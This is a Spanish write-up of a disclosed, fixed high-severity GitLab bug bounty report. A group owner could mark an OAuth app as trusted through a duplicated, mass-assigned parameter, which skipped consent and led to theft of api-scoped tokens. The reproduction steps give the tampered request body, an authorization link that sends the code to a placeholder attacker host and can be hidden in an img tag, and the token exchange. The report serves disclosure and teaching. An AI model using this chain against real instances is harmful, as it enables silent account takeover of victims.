Resumen
GitLab permite crear aplicaciones OAuth a distintos niveles: de instancia, de grupo y de usuario. Las aplicaciones marcadas como "de confianza" (trusted) autorizan automáticamente el flujo OAuth sin mostrar al usuario la pantalla de consentimiento. Ese ajuste está pensado solo para aplicaciones de instancia creadas por un administrador.
El investigador descubrió que, al editar una aplicación OAuth creada a nivel de grupo, se podía añadir a mano el parámetro que marca la aplicación como "de confianza" aunque la interfaz no ofreciera esa opción a un dueño de grupo. El servidor aceptaba el valor manipulado. El resultado es una aplicación de confianza bajo el control del atacante que, al saltarse la pantalla de consentimiento (y con ello el control anti-CSRF del flujo de autorización), obtiene el código de autorización de la víctima sin su aprobación y permite acuñar un token de acceso con alcance api en su nombre.
Pasos de reproducción
- Iniciar sesión como un usuario cualquiera y crear un grupo.
- Crear una aplicación en Settings > Applications, marcando el scope
api. - Abrir la aplicación recién creada y pulsar Edit. Interceptar la petición que se envía al pulsar Save application y añadir el siguiente fragmento al cuerpo, que fuerza el valor
trusteda1:
doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1&
La aplicación queda marcada como de confianza, un estado que solo debería poder fijar un administrador de instancia.
- Hacer que la víctima abra un enlace de autorización con el
client_idde esa aplicación (por ejemplo, incrustándolo en una etiqueta<img>):
https://gitlab.com/login/oauth/authorize?redirect_uri=http://<atacante>.com&client_id=<client_id>&scope=api
Al ser una aplicación de confianza, GitLab no muestra la pantalla de consentimiento y redirige directamente con un código de autorización.
- Capturar el código de autorización de la redirección hacia el
redirect_uricontrolado por el atacante.
- Intercambiar el código por un token de acceso en el endpoint de token:
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
Content-Length: 223
code=<code>&client_id=<client_id>&client_secret=<client_secret>
La respuesta devuelve el token de acceso con alcance api:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
access_token=[REDACTADO]&scope=api&token_type=Bearer
Impacto
Un atacante que consiguiera que la víctima abriera el enlace de autorización (algo que puede ocurrir de forma silenciosa al cargar una imagen) obtenía un token de acceso con alcance api sobre la cuenta de esa víctima, sin su consentimiento. Con ese token podía actuar en nombre del usuario a través de la API de GitLab. El propio investigador apuntó que planeaba comprobar si era posible ampliar los alcances del token.
Remediación
Según el comportamiento esperado que señala el reporte, un dueño de grupo no debería poder marcar una aplicación como "de confianza" al crearla o editarla: esa capacidad ha de quedar restringida a los administradores de instancia. El reporte fue clasificado como severidad alta, resuelto y recompensado por GitLab (importe no publicado).
Qué aprender de este caso
- En formularios que editan permisos o flags sensibles, revisa si el servidor acepta campos que la interfaz nunca muestra al usuario de ese rol: aquí bastó añadir a mano
doorkeeper_application[trusted]=1para asignarse un atributo reservado a administradores (mass assignment / parámetro sobrante). - Cuando un parámetro llega duplicado (
trusted=0ytrusted=1en la misma petición), conviene saber con qué valor se queda tu framework: enviar ambos es una táctica para forzar el valor deseado si el binding toma el último. - Las aplicaciones OAuth "de confianza" que saltan la pantalla de consentimiento son un multiplicador de riesgo: si cualquier usuario puede crear una, el control anti-CSRF del flujo de autorización deja de proteger. Limita quién puede marcar aplicaciones como trusted al nivel de administración más alto.
- Al auditar OAuth, comprueba qué ocurre con
redirect_urihacia dominios externos combinado con aplicaciones trusted: una autorización sin consentimiento más una redirección fuera del dominio permite exfiltrar el código de autorización.